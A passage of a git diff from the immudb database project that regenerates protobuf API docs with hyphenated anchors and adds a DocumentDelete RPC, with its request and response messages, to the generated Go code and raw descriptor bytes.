[Query](#immudb-model-Query) | | | + + + + + + + + +### DocumentDeleteResponse + + + + + + + + ### DocumentInsertManyRequest @@ -379,14 +407,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| documents | [google.protobuf.Struct](#google-protobuf-Struct) | repeated | | - + ### DocumentInsertManyResponse @@ -402,7 +430,7 @@ - + ### DocumentInsertRequest @@ -411,14 +439,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentInsertResponse @@ -434,7 +462,7 @@ - + ### DocumentProofRequest @@ -452,7 +480,7 @@ - + ### DocumentProofResponse @@ -464,14 +492,14 @@ | collectionId | [uint32](#uint32) | | | | idFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb-schema-VerifiableTxV2) | | | - + ### DocumentSearchRequest @@ -481,7 +509,7 @@ | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | +| query | [Query](#immudb-model-Query) | | | | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -491,7 +519,7 @@ - + ### DocumentSearchResponse @@ -500,14 +528,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | - + ### DocumentUpdateRequest @@ -516,15 +544,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb.model.Query) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| query | [Query](#immudb-model-Query) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentUpdateResponse @@ -541,7 +569,7 @@ - + ### Field @@ -550,14 +578,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| type | [FieldType](#immudb.model.FieldType) | | | +| type | [FieldType](#immudb-model-FieldType) | | | - + ### FieldComparison @@ -566,15 +594,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | -| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | +| operator | [ComparisonOperator](#immudb-model-ComparisonOperator) | | | +| value | [google.protobuf.Value](#google-protobuf-Value) | | | - + ### Index @@ -590,7 +618,7 @@ - + ### IndexCreateRequest @@ -607,7 +635,7 @@ - + ### IndexCreateResponse @@ -617,7 +645,7 @@ - + ### IndexDeleteRequest @@ -633,7 +661,7 @@ - + ### IndexDeleteResponse @@ -643,7 +671,7 @@ - + ### Query @@ -651,14 +679,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | +| expressions | [QueryExpression](#immudb-model-QueryExpression) | repeated | | - + ### QueryExpression @@ -666,7 +694,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | +| fieldComparisons | [FieldComparison](#immudb-model-FieldComparison) | repeated | | @@ -675,7 +703,7 @@ - + ### ComparisonOperator @@ -692,7 +720,7 @@ - + ### FieldType @@ -710,26 +738,27 @@ - + ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | -| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | -| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | -| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | [DocumentProofResponse](#immudb.model.DocumentProofResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) | [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb-model-CollectionGetRequest) | [CollectionGetResponse](#immudb-model-CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb-model-CollectionListRequest) | [CollectionListResponse](#immudb-model-CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) | | +| IndexCreate | [IndexCreateRequest](#immudb-model-IndexCreateRequest) | [IndexCreateResponse](#immudb-model-IndexCreateResponse) | | +| IndexDelete | [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) | [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) | [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) | [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) | [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb-model-DocumentProofRequest) | [DocumentProofResponse](#immudb-model-DocumentProofResponse) | | +| DocumentDelete | [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 65c85280da..1c3daa7ec0 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.30.0 // protoc v3.21.12 // source: documents.proto @@ -1977,6 +1977,99 @@ func (x *DocumentProofResponse) GetVerifiableTx() *schema.VerifiableTxV2 { return nil } +type DocumentDeleteRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` +} + +func (x *DocumentDeleteRequest) Reset() { + *x = DocumentDeleteRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[33] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentDeleteRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentDeleteRequest) ProtoMessage() {} + +func (x *DocumentDeleteRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[33] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentDeleteRequest.ProtoReflect.Descriptor instead. +func (*DocumentDeleteRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{33} +} + +func (x *DocumentDeleteRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentDeleteRequest) GetQuery() *Query { + if x != nil { + return x.Query + } + return nil +} + +type DocumentDeleteResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *DocumentDeleteResponse) Reset() { + *x = DocumentDeleteResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[34] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentDeleteResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentDeleteResponse) ProtoMessage() {} + +func (x *DocumentDeleteResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[34] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentDeleteResponse.ProtoReflect.Descriptor instead. +func (*DocumentDeleteResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{34} +} + var File_documents_proto protoreflect.FileDescriptor var file_documents_proto_rawDesc = []byte{ @@ -2194,142 +2287,158 @@ var file_documents_proto_rawDesc = []byte{ 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, - 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, 0x3d, - 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, - 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, - 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, - 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x4e, 0x0a, - 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, - 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, - 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, - 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0x97, 0x0e, - 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, + 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x62, + 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x22, 0x18, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x3d, 0x0a, 0x09, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, + 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, + 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, + 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x4e, 0x0a, 0x12, 0x43, + 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, + 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, + 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, + 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xa1, 0x0f, 0x0a, 0x0f, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, + 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, - 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, - 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, + 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, + 0x2a, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 